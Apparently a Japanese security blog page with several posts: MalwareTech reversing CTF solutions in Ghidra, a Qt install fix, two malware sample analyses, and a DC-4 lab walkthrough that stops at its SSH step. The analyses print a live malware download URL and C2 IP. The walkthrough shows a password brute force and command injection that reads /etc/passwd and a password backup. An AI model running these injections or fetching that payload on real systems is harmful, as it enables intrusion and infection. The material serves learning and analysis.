Capture The Frog

かえるぴょこぴょこw

MENU

GhidraでMalware TechのCTF Shell code編

前回と同じくghidraでMalwareTechのCTFを解いていく。

www.malwaretech.com

 

今回は、[Shellcode]に挑戦していく。

前回の[Hide and Seek]を解いてみた記事はこちら

 

 

Shellcode1

このプログラムのmain関数の役割はentry関数が果たしているので、entry関数に絞ります。

f:id:QWERTYtan:20211202154240p:plain

すると、右の逆コンパイルにentry関数がやっていることが表示されます。

今回は、ここに注目して進めていきます。

f:id:QWERTYtan:20211202154638p:plain

これを見ると、HeapAllocによってヒープ割り当てが18行目に行われていて、

docs.microsoft.com

それがlocal_8に代入されています。そして、そのまま下に降りてくると19行目に*local_8が0x404040とされていて、

20行目にstrlenが&AT_00404040の文字数をsVArlに格納しています。

そして最後にlpText内に格納して、それをメッセージボックス内で表示するようになっています。

明らかに0x404040が怪しいです。

そのため、0x404040を見てみると

f:id:QWERTYtan:20211202160817p:plain

暗号化されていますが、何やら文字列が出てきました。

おそらくこれがflagなのでしょう。

次はどのように暗号化されているかを見てみます。

文字列だと思われる部分を選択して、dを押してアセンブリを表示します。

f:id:QWERTYtan:20211202161227p:plain

0040406dでROL命令をしています。

donkeyhacks.zouri.jp

このコードは、文字列の各バイトを5回左シフトローテーションするだけです。

FLAG{SHELLCODE-ISNT-JUST-FOR-EXPLOITS}

f:id:QWERTYtan:20211202205220p:plain



GhidraでMalware TechのCTF(Hade and Seek)

f:id:QWERTYtan:20211220212227p:plain

一通りアセンブラがそれぞれ何をしているか分かってきたので、練習がてらCTFを解いてみた。

Ghidraは、リバースエンジニアリングツールで.exe等の実行ファイルを逆アセンブル・逆コンパイルツールである。

まだ、インストールしていない人は↓から

ghidra-sre.org

 

今回は、このGhidraでMalware Techが公開しているCTFを解いていく。

www.malwaretech.com

まずは、[Hide and Seek]の

を解いていく。

 

下準備

まず、ghidraを立ち上げる。↓このような画面が出てくる。Tipsはcloseで消して、

Projectをstrings1という名前で作る。

f:id:QWERTYtan:20211202120937p:plain

すると、code browserが開く。

ghidraではここを使ってリバースエンジニアリングをしたものを見ていく。

f:id:QWERTYtan:20211202121500p:plain

この状態では、なんのプログラムを読み込んでいないため

左上の[File]→Import file→上でダウンロードしたstrings1.exe_を選択→AnalyseOK→Analyse→OK

で読み込む。

f:id:QWERTYtan:20211202121631p:plain

 

 

strings1.exe_

strings1.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?<https://www.malwaretech.com/challenges/windows-reversing/strings1抜粋>

 

ここから、MD5 hashでflagが書かれていることがわかる。

そのため、左のsymbol treeに関数がツリー状に書かれているのだが、ここの検索欄に

"hash"と入力する。(↓の黄色になっている部分)

すると、hashに関連する関数のみsymbol treeに表示される。

そこの md5_hashをクリックする。すると、真ん中のコード表示部分に青色でカバーがかかる。

ちなみに右には関数がある場合はその逆コンパイルしたものが書かれている。

そこから、下にしばらくスクロールしていくとflagが書かれている。

f:id:QWERTYtan:20211202120605p:plain

そのflagをさっきのサイトのflag提出欄にコピペして提出したら、success!と表示される。

f:id:QWERTYtan:20211202123039p:plain

 

 

string2.exe_

strings2.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?<https://www.malwaretech.com/challenges/windows-reversing/strings2抜粋>

 

string1.exe_と解き方は同じで、しかし今回はflagが16進数で書かれているので

それを16進数から文字にエンコードし直す必要がある。

f:id:QWERTYtan:20211202120702p:plain

f:id:QWERTYtan:20211202120738p:plain

flagのエンコードには、ここのサイトが役に立つ。

www.rapidtables.org

 

string3.exe_

strings3.exe contains an un-encrypted flag stored within the executable. When run, the program will output an MD5 hash of the flag but not the original. Can you extract the flag?<https://www.malwaretech.com/challenges/windows-reversing/strings3から抜粋>

 

ここまで、string1.exe_・string2.exe_と解いてて気づきましたか?

hash関数でflagが見つかりましたよね。

そこで、今回もhash*関数があるかなと思い検索してみると、ありません。

f:id:QWERTYtan:20211202142408p:plain

ここで、もう一つ気づきませんでしたか?

上まではhash*で検索していましたが、そのhash関数はentry関数の中で動いていますよね。

そこで、entry関数はないかなと思い検索しました。↓

f:id:QWERTYtan:20211202141428p:plain

すると、flagが見つかります。

f:id:QWERTYtan:20211202141514p:plain

 

次は、[Shellcode]分野のCTF

qwertytan.hatenablog.jp

Qt Creatorのバグの回避(Ubuntu 20.04)

Qt Creatorは、GUIアプリケーションをつくるソフトウェア。

だが、Ubuntu20.04でQt Creatorを実行すると、

Kits Selectionというプロジェクトを作成する際の設定から進めないバグが発生するため「Ubuntu Software」でも低評価とこれに関するレビュー祭り。 f:id:QWERTYtan:20211205202347p:plain 実際、「Ubuntu Software」からインストールしてもバグが発生して先に進めないので、ご注意を。

しかし、今回これを回避する方法を見つけたので、ここに書いていく。

Qt Creator・Qt共に何もインストールしていない状態から始める。
Ubuntu Software」からインストールしてしまっている場合は、「Ubuntu Software」内でアンインストールした状態から始めましょう。

まずは、ここで「オープンソース版をダウンロード」選択。 Downloadをクリック。

www.qt.io

ダウンロードされるのは.runなので、開く。
<ターミナル内でダウンロードしたフォルダに移動して>

chmod 777 ダウンロードした.run
./ダウンロードした.run

開く。 f:id:QWERTYtan:20211205203933p:plain アカウントを持っていない人はアカウント作成。
持っている人はログイン
あと、なぜか会社・学校のメールアドレスを聞かれるので、正直に入力。

Qt Creatorを選択し、ダウンロード。
かなり時間がかかるので待つ。

ダウンロード完了したら、Qt Creatorをクリックして開いてみましょう。
.
.
.
.
.
開きませんよね。。ここがこいつの最大の罠なんです。公式サイトから正式にダウンロードしたのに開かない。。
自分はこれで6時間くらい無駄にしました。
これをターミナルから開いてみると、

ImportError: libOpenGL.so.0: cannot open shared object file: No such file or directory

というエラーが出て終了してしまってます。
じゃあ、これを入れればいい。ということで、下のコマンドをターミナルで入力してください。

sudo apt install libopengl0 -y

すると、立ち上がるんですね。 f:id:QWERTYtan:20211205201256p:plain

32ビットのマルウェアが64ビットOSで実行できる理由

多くの場合、マルウェアは32ビットで書かれていることが多い。

32ビットのみのwindowswindows7であり、その後のwindows製品は64ビットと32ビット両方開発されている。

ちなみにwindows11は32ビットCPUをサポートしないようである。

 

ここで一つの疑問が生まれる。なぜOSが64ビットなのに32ビットのマルウェアが多いのか。

これには2つの理由がある。

1つは、32ビットのマルウェアは今までで多く作られており、自分の必要なコードを探して、そのコードを模倣することができるためである。

2つ目は、windowsが32ビットのプログラムをサポートしているためである。

docs.microsoft.com

 

WOW64サブシステムというものがあり、これは64ビットのプログラムを変更せずに 32 ビット プログラムを実行することができるシステムである。

これをマルウェア製作者は悪用することでwindows10などでも32ビットのマルウェアを動かすことができる。

 

Skype Encription v 2.1.exe(79cdf420419a08f791752c759f8e0613)についての解析

この.exeを持ってきたところ
syrianmalware.com
マルウェアなのでダウンロードするときは、十分注意をすること
一切責任は負いません

静的解析

ファイルのハッシュ値
md5sum
79cdf420419a08f791752c759f8e0613

sha256sum
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd

sha1sum
716646fd8c968f68fa274c333532e0886a3926ee


stellaを使って静的解析

└─$ ./stellaf01 b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exe
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exeの静的解析結果

-------------------------------オンラインデータベース
HYBIRD  ANALYSES
https://www.hybrid-analysis.com/search?query=79cdf420419a08f791752c759f8e0613

VIRUS TOTAL
https://www.virustotal.com/gui/search/79cdf420419a08f791752c759f8e0613



-------------------------------ハッシュ値
md5sum
79cdf420419a08f791752c759f8e0613

sha256sum
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd

sha1sum
716646fd8c968f68fa274c333532e0886a3926ee

xxd
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exeは、実行ファイルです。

file
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Windows7で動く32ビットの実行ファイルです。

-------------------------------GET関連
GetHashCode
GetType
get_GetInstance
GetInstance
GetObjectValue
GetTypeFromHandle
GetResourceString
GetObject
GetProcesses


-------------------------------DOWNLOAD関連
DownloadFile
                                                                                        

-------------------------------SET関連
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
MySettings
MySettingsProperty
set_form1
set_Button2
set_Button1
set_PictureBox1
set_Label1
set_Button3
set_PictureBox2
set_PictureBox3
set_Button4
set_Label2
set_Culture
ApplicationSettingsBase
AutoSaveSettings
get_Settings
Settings
set_Item
set_Capacity
SetCompatibleTextRenderingDefault
set_IsSingleInstance
set_EnableVisualStyles
set_SaveMySettingsOnExit
set_ShutdownStyle
set_MainForm
SetProjectError
set_Location
set_Name
set_Size
set_TabIndex
set_Text
set_UseVisualStyleBackColor
set_Image
set_SizeMode
set_TabStop
set_AutoSize
set_ForeColor
set_AutoScaleDimensions
set_AutoScaleMode
set_BackColor
set_ClientSize
set_Icon
SettingsBase
get_SaveMySettingsOnExit
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
My.Settings
Property can only be set to Nothing


-------------------------------Reg関連


-------------------------------START関連
Start
Please restart your Skype


-------------------------------File関連
DownloadFile
AssemblyFileVersionAttribute
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
VarFileInfo
StringFileInfo
FileDescription
FileVersion
OriginalFilename


-------------------------------RESOURCE関連
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
                <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:831ED3170F8211E084D3E1455213F394" xmpMM:DocumentID="xmp.did:831ED3180F8211E084D3E1455213F394">
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
Resources
WindowsApplication1.My.Resources
System.Resources
ResourceManager
resourceMan
resourceCulture
get_ResourceManager
GetResourceString
ComponentResourceManager
NeutralResourcesLanguageAttribute
WindowsApplication1.Resources.resources
WindowsApplication1.form1.resources
3System.Resources.Tools.StronglyTypedResourceBuilder
WindowsApplication1.Resources


-------------------------------computer関連
MyComputer
Computer
get_Computer
m_ComputerObjectProvider                                                                
ServerComputer
My.Computer


-------------------------------local関連


-------------------------------device関連
Microsoft.VisualBasic.Devices


-------------------------------exe関連
Skype Encription v 2.1.exe
_CorExeMain
http://216.6.0.28/SkypeEncription/Download/skype.exe
\skype.exe
Skype Encription v 2.1.exe
Skype Encription v 2.1.exe
Finished execution after 0.012073 seconds


-------------------------------sleep関連


-------------------------------INTERNET関連


-------------------------------dll関連
mscoree.dll


-------------------------------その他
-----------------------------------------------Blacklist検索結果

データをダウンロードし、システムに適用させる可能性があります。1/5
DownloadFile

外部と通信する可能性があります。1/5
DownloadFile

実行環境を読み取る可能性があります。1/9
get_Computer


このマルウェアに関連するhttp
:http://ns.adobe.com/xap/1.0/
        <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">               
                <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:831ED3170F8211E084D3E1455213F394" xmpMM:DocumentID="xmp.did:831ED3180F8211E084D3E1455213F394">                                                                                
4System.Web.Services.Protocols.SoapHttpClientProtocol                                   
http://216.6.0.28/SkypeEncription/Download/skype.exe                                    
http://skype-encription.sytes.net/                                                      
                                  


異なるマルウェアをダウンロードさせる「ダウンローダー」の可能性
コンピューター名を取得する
http://216.6.0.28/SkypeEncription/Download/skype.exeから、「skype.exe」(マルウェア)をダウンロードする
GUIを使用している

動的解析


f:id:QWERTYtan:20210921212318p:plain
GUIを使用していて、これのいずれかのボタンを押すと、「skype.exe」がダウンロードされる
f:id:QWERTYtan:20210921212800p:plain
また、stellaからも分かるように216.6.0.28にサーバーでhttp 通信でダウンロードしようとしている。

メモリフォレンジック

ダウンローダーなので、簡単なコードだけでかけるためCorExeMainだけがインポートされていた。


よって、このマルウェアは216.6.0.28からskype.exeをダウンロードする「ダウンローダ」だと言える

hack_facebook_pro_v6.9.exe(229af3e4f9dccc0497e7546c09790d50)の解析

o

今回は、hack_facebook_pro_v6.9.exeについてのレポートを書いていきます。

syrianmalware.com

syrianmalwareというマルウェアデータベースを利用しました。
マルウェアなのでダウンロードする際には、万全の注意を払ってください。
一切の責任は取れません。

 

MD5
229af3e4f9dccc0497e7546c09790d50

SHA-256
9d3fac012d1f7a6cf3c7c381e6ef4b2c73d4d8d5a3f6a597d2b2837e115c90a0
SHA1

5a35ec46be8f551ed572ab2fb675f7c09ae7beaf

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。
ファイルシグニチャをfileコマンドで確認します。 f:id:QWERTYtan:20210921172036p:plain よって、このマルウェアwindows7で動く32ビットのファイルだと分かりました。

オンラインデータベースでの検索

VirusTotalのリンク
www.virustotal.com ログインすると詳細な結果を見ることができます。

HybridAnalysisでの検索したリンク
https://www.hybrid-analysis.com/search?query=229af3e4f9dccc0497e7546c09790d50 こちらはログインしなくても詳細な結果を見ることができます。

文字列の抽出

stellaで静的解析

github.com

hack_facebook_pro_v6.9.exeの静的解析結果

-------------------------------GET関連
GetCurrentDirectoryW
GetLastError
GetCurrentProcess
GetFileType
GetStdHandle
GetFileAttributesA
GetFileAttributesW
GetTickCount
GetVersionExW
GetFullPathNameA
GetFullPathNameW
GetModuleFileNameW
GetModuleHandleW
GetProcessHeap
GetLocaleInfoW
GetNumberFormatW                                                                                                                                                                                                  
GetDateFormatW
GetTimeFormatW
GetExitCodeProcess
GetTempPathW                                                                                                                                                                                                      
GetCommandLineW
GetProcAddress                                                                                                                                                                                                    
GetSystemTime
GetCPInfo
GetDlgItem
GetClientRect
GetMessageW
GetWindowLongW
GetParent
GetWindowRect
GetWindow
GetSystemMetrics
GetWindowTextW
GetDC
GetDlgItemTextW
GetClassNameW
GetSysColor
GetObjectW
GetDeviceCaps
GetSaveFileNameW
GetOpenFileNameW
SHGetPathFromIDListW
SHGetMalloc
SHGetSpecialFolderLocation
SHGetFileInfoW                                                                                                                                                                                                    


-------------------------------DOWNLOAD関連


-------------------------------SET関連
SetDllDirectoryW
SetLastError
SetFileTime
SetFilePointer
SetEndOfFile
SetFileAttributesA
SetFileAttributesW
SetEnvironmentVariableW
SetCurrentDirectoryW
SetWindowLongW
SetWindowTextW
SetWindowPos
SetDlgItemTextW
SetFocus
SetForegroundWindow
SetFileSecurityA
SetFileSecurityW
RegSetValueExW
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  </asmv3:windowsSettings>


-------------------------------START関連
RegisterClassExW
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegQueryValueExW                                                                                                                                                                                                  
RegOpenKeyExW


-------------------------------START関連


-------------------------------File関連
SetFileTime
MoveFileW
SetFilePointer                                                                                                                                                                                                    
SetEndOfFile
GetFileType
CreateFileA
CreateFileW
ReadFile
WriteFile
GetFileAttributesA                                                                                                                                                                                                
GetFileAttributesW
SetFileAttributesA
SetFileAttributesW
DeleteFileW
DeleteFileA                                                                                                                                                                                                       
FindNextFileA                                                                                                                                                                                                     
FindFirstFileA
FindNextFileW
FindFirstFileW
GetModuleFileNameW
DosDateTimeToFileTime
FileTimeToSystemTime
FileTimeToLocalFileTime
MoveFileExW
UnmapViewOfFile                                                                                                                                                                                                   
MapViewOfFile                                                                                                                                                                                                     
CreateFileMappingW                                                                                                                                                                                                
OpenFileMappingW
LocalFileTimeToFileTime
SystemTimeToFileTime
GetSaveFileNameW
GetOpenFileNameW
SetFileSecurityA
SetFileSecurityW
SHGetFileInfoW
SHFileOperationW


-------------------------------RESOURCE関連
FindResourceW
                                                                                                                                                                                                                  

-------------------------------computer関連


-------------------------------local関連
GetLocaleInfoW
FileTimeToLocalFileTime                                                                                                                                                                                           
LocalFileTimeToFileTime


-------------------------------device関連
GetDeviceCaps


-------------------------------exe関連
ShellExecuteExW
      <requestedExecutionLevel level="asInvoker"            
GoogleUp-date.exe


-------------------------------sleep関連
Sleep
                                                                                                                                                                                                                  

-------------------------------INTERNET関連


-------------------------------dll関連
SetDllDirectoryW
COMCTL32.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll                                                                                                                                                                                                         
OLEAUT32.dll


-------------------------------その他
AdjustTokenPrivileges
OpenProcessToken                                                                                                                                                                                                  
ShellExecuteExW                                                                                                                                                                                                   
SHChangeNotify                                                                                                                                                                                                    
-----------------------------------------------Blacklist検索結果                                                                                                                                                  

パス(環境変数)を作成可能性があります。1/2
SHGetSpecialFolderLocation

プロセスの作成・削除が行われる可能性があります。1/7
GetExitCodeProcess

ファイルの作成、移動、削除が行われる可能性があります。5/7
MoveFileW
MoveFileExW
WriteFile
DeleteFileW
DeleteFileA

このマルウェアは、ドロッパーの可能性があります。1/7
FindResourceW

shellやコマンドプロンプトが使われる可能性があります。3/7
ShellExecuteExW
GetCommandLineW
SHELL32.dll

ユーザーの意図しないスリープをする可能性があります。1/3
Sleep

ファイルに何らかの影響を及ぼす可能性があります。5/11
UnmapViewOfFile
MapViewOfFile
SHChangeNotify
AdjustTokenPrivileges
OpenProcessToken

windowsレジストリに影響を与える可能性があります。1/9
RegCreateKeyExW

実行環境を読み取る可能性があります。1/9
GetLocaleInfoW

マルウェアを導入する前のコンピュータの何らかの設定ファイルの書き換え・削除する可能性があると考えられます。
そして、このマルウェアFacebookという名前を使っていることから、トロイの木馬と考えられます。
GoogleUp-date.exeというマルウェアは、このhack_facebook_pro_v6.9.exeとハッシュ関数が同じであることから、hack_facebook_pro_v6.9.exeの名前を変えてプログラムがユーザーによって削除されることを防いでいるのだと考えられます。
また、ユーザが消そうとするとスリープするようになります。

動的解析

app.any.run
このサイトと仮想環境を使用して、動的解析を行っていきます。
f:id:QWERTYtan:20210921174257p:plain
このように、hack_facebook_pro_v6.9.exeはGoogleUp-date.exeに名前を変更してユーザーに削除されることを防ぐ役割を果たしていると考えられます。
f:id:QWERTYtan:20210921175355p:plain
また、GoogleUp-date.exeに名前の変更をするためにレジストリの設定を書き換えていると考えられます。

また、wiresharkを使用してtcpなどで外部と通信しているかを確認すると、
f:id:QWERTYtan:20210921183756p:plain
216.6.0.28と通信していました。
ipinfo.io
このサーバーはダマスカスにあるサーバーで、このサーバーとポート885で接続しようとしていました。

メモリフォレンジック

メモリフォレンジックでwindowsAPIを確認すると、

それぞれが見つかりました。


shlwapi.hのSHAutoComplete関数
オートコンプリートを使用してURLまたはファイルシステムパスを完成させるようにシステム編集コントロールに指示するインポート関数

commctrl.hのInitCommonControlsEx関数
Comctl32.dll(共通制御dll)のロードを確認するwindowsAPIがインポートされていました。

このような必要最低限のWindowsAPIしかインポートしない・chrome-Update.exeを生み出す
ということからhack_facebook_pro_v6.9.exeは優良なアプリに見せかけてファイルを不正に削除・書き換えを行うトロイの木馬だと考えられます。

このhack_facebook_pro_v6.9.exeについてまとめてみると、


・GoogleUp-date.exeに名前を変えて延命を図る。
・216.6.0.28とTCP通信を試みている。

DC-4 Write up

DC-4のフラグ取得までの流れ

・netdiscover/nmapでDC-4の基本情報取得
・nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得
・Burpsuiteを使ってパスワードの取得
・ログイン
・Burpsuiteを使用したコマンドインジェクション
sshにログイン
・権限昇格
・フラグ取得



netdiscover/nmapでDC-4の基本情報取得

 Currently scanning: 192.168.110.0/16   |   Screen View: Unique Hosts                                     
                                                                                                          
 31 Captured ARP Req/Rep packets, from 6 hosts.   Total size: 1656                                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.3.2     10:6f:3f:e6:28:40     17    1020  BUFFALO.INC                                            
 192.168.3.1     30:f7:72:be:b9:b9     10     420  Hon Hai Precision Ind. Co.,Ltd.                        
 192.168.3.16    44:09:b8:8c:f4:72      1      60  Salcomp (Shenzhen) CO., LTD.                           
 192.168.3.22    08:00:27:24:fb:1e      1      60  PCS Systemtechnik GmbH                                 
 192.168.3.8     d2:79:22:51:d6:19      1      54  Unknown vendor                                         
 192.168.10.1    30:f7:72:be:b9:b9      1      42  Hon Hai Precision Ind. Co.,Ltd.                        

                                                                                                           
┌──(root💀snowyowl)-[~]
└─# nmap -sS -A -Pn 192.168.3.22 -p-                                                                 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-03 19:19 JST
Nmap scan report for 192.168.3.22
Host is up (0.00073s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 08:00:27:24:FB:1E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.73 ms 192.168.3.22

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds
                                                                                                           

        

nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得

┌──(root💀snowyowl)-[~]
└─# nikto -h 192.168.3.22           
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.3.22
+ Target Hostname:    192.168.3.22
+ Target Port:        80
+ Start Time:         2021-09-03 19:21:02 (GMT9)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-09-03 19:21:16 (GMT9) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(root💀snowyowl)-[~/dirsearch]
└─# ls
banner.txt       db            Dockerfile   logs       requirements.txt  static
CHANGELOG.md     default.conf  __init__.py  README.md  setup.cfg         thirdparty
CONTRIBUTORS.md  dirsearch.py  lib          reports    setup.py
                                                                                                       
┌──(root💀snowyowl)-[~/dirsearch]
└─# python3 dirsearch.py -u http://192.168.3.22/                    

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/dirsearch/reports/192.168.3.22/-_21-09-05_11-53-17.txt

Error Log: /root/dirsearch/logs/errors-21-09-05_11-53-17.log

Target: http://192.168.3.22/

[11:53:17] Starting: 
[11:53:41] 302 -  704B  - /command.php  ->  index.php                       
[11:53:43] 301 -  170B  - /css  ->  http://192.168.3.22/css/                
[11:53:50] 301 -  170B  - /images  ->  http://192.168.3.22/images/          
[11:53:50] 403 -  556B  - /images/                                          
[11:53:51] 200 -  506B  - /index.php                                        
[11:53:51] 403 -   15B  - /index.pHp                                        
[11:53:54] 302 -  206B  - /login.php  ->  index.php                         
[11:53:55] 302 -  163B  - /logout.php  ->  index.php                        
                                                                             
Task Completed                                                                                         
     

niktoは、webサーバーに対して攻撃的な情報な調査で、dirseachは正当なwebサーバーの調査感がありますね笑


Burpsuiteを使ってパスワードの取得

この段階で考えられる攻撃手段は、nginxの脆弱性をつかった攻撃
Burpsuiteを使った中間者攻撃がありますが、ここではBurpsuiteを使っていきます。
Burpsuiteの細かい使い方は、ここに詳しく書きました。

qwertytan.hatenablog.jp BurpsuiteのProxyでブラウザを開いて、http://192.168.3.22に接続したところから書いていきます。 ↓この状態 f:id:QWERTYtan:20210905120354p:plain ユーザー名をadmin(勘にして、パスワードの特定にrockyou.txtを使ってパスワードを特定していきます。 f:id:QWERTYtan:20210905120754p:plain 調べたいパスワードを§§で括った状態 f:id:QWERTYtan:20210905120917p:plain Payloadsタブに移動、Payload SetsにSimple listを選択。 Payload OptionsのLoadに/usr/share/wordlists/rockyou.txtを選択した状態 f:id:QWERTYtan:20210905122238p:plain start attack実行中 f:id:QWERTYtan:20210905123252p:plain

ログイン

この様子からユーザー名adminは、passwordに何を入れてもログインすることができることが分かります。
ブラウザで、
ユーザー名:admin
パスワード:
でsubmitをクリック

このときにProxyのInterceptをオフにしないとログインできないので、必ず一回一回Interseptをoffにすることを忘れないでください。
この状態が正しい↓
f:id:QWERTYtan:20210905123528p:plain

ログインできた f:id:QWERTYtan:20210905123719p:plain

Burpsuiteを使用したコマンドインジェクション

今後、Burpsuiteを使う場合は、

intercept on

ブラウザで何かをする

分析・書き換え等

Intercept off
の順に行うこと

このcommandを悪用して、(burpsiteでこのコマンドを書き換える)コマンドインジェクションをしていきます。
ls -lのコマンドを自分たちの使いたいコマンドに書き換える。
f:id:QWERTYtan:20210905123949p:plain

Burpsiteのinterceptをonにして、ブラウザでrunをクリックします。 f:id:QWERTYtan:20210905124156p:plain

radio=ls+-l&submit=Run

の部分を書き換えれば、自分たちの好きなコマンドにできそう。
早速試しに、pwdを実行する。

radio=pwd&submit=Run

f:id:QWERTYtan:20210905133705p:plain
うまくいったので、この調子で進める。
whoami
→www-data

ls /home
→charles
jim
sam

ls /home/jim
→backups
 mbox
 test.sh

ls /home/jim/backups
→old-passwords.bak

cat /home/jim/backups/old-passwords.bak
f:id:QWERTYtan:20210905135110p:plain
過去に使われたパスワードの一覧が表示される。
あとで使えるかもしれないので頭の片隅に置いておく

/etc/passwdの中もみてみる
cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
raaj::0:0:::/bin/bash



charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
root:x:0:0:root:/root:/bin/bash

以外は、nologinとなっていて、無効化されている。
このサーバーは、sshサービスが起動していたので、そこから攻めてみる。

sshにログイン

